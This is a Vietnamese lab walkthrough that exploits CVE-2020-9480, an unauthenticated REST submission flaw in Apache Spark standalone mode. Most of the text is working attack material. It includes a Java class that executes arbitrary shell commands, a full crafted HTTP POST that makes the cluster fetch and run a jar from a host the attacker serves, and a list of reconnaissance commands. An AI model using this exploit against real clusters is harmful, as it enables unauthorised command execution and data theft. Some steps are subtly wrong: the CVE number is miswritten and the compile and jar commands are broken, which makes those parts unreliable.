CVE-2020-9480
Description
Lỗ hổng phát sinh khi tính năng xác thực chính (spark.authenticate
) được bật bằng cách sử dụng shared secret. Thông thường, tính năng này yêu cầu người dùng cung cấp shared secret
để khởi động tài nguyên của ứng dụng trên Spark cluster
. Tuy nhiên, lệnh gọi thủ tục từ xa (RPC) có thể bỏ qua quá trình xác thực và bắt đầu thực thi lệnh thành công, ngay cả khi không có shared secret
.
Kẻ tấn công có thể khai thác lỗ hổng bảo mật này để thực thi từ xa các lệnh shell tùy ý trên máy chủ nơi Spark cluster
đang chạy. Bằng cách tận dụng lỗ hổng bảo mật, kẻ tấn công có thể truy cập và kiểm soát trái phép toàn bộ cluster
, có khả năng dẫn đến đánh cắp dữ liệu, xâm phạm hệ thống hoặc khai thác mạng thêm.
Lỗ hổng xảy ra ở chế độ standalone
khi xác thực quyền bị bỏ qua, dẫn đến RCE.
Goal
Khai thác lỗ hổng CVE-2020-9840 thông qua REST API dẫn đến thực thi dòng lệnh từ xa.
Exploitation
Bước 1: Khởi chạy máy ảo Docker bằng câu lệnh docker-compose up
:
Đây là giao diện chính của Spark Worker:
Bước 2: Tạo một file exploit viết bằng java và lưu với tên Exploit.java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
Bước 3: Convert tệp Exploit.java
thành Exploit.jar
bằng 2 câu lệnh:
javac .\Exploit.jar
jar -cvf Exploit.jar Exploit.java
Bước 4: Khởi tạo máy chủ local để đẩy file Exploit.jar
lên server với câu lệnh python -m http.server
Bước 5: Ở chế độ standalone
, máy chủ sẽ khởi động máy chủ HTTP trên cổng 6066 và chúng ta sẽ gửi API REST tới cổng này:
POST /v1/submissions/create HTTP/1.1
Host: 192.168.1.39:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "http://192.168.1.39:8000/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://192.168.1.39:8000/Exploit.jar ",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.1.39:6066"
}
}
Trong đó, spark.jars
là ứng dụng được biên dịch, mainClass
là lớp sẽ được chạy và appArgs
là các tham số được truyền cho ứng dụng.
Bước 5: Có submitId
trong gói tin Reponses
, ta vào đường dẫn sau để xem kết quả được thực thi:
http://192.168.1.39:8081/logPage/?driverId={submissionId}&logType=stdout
Video demo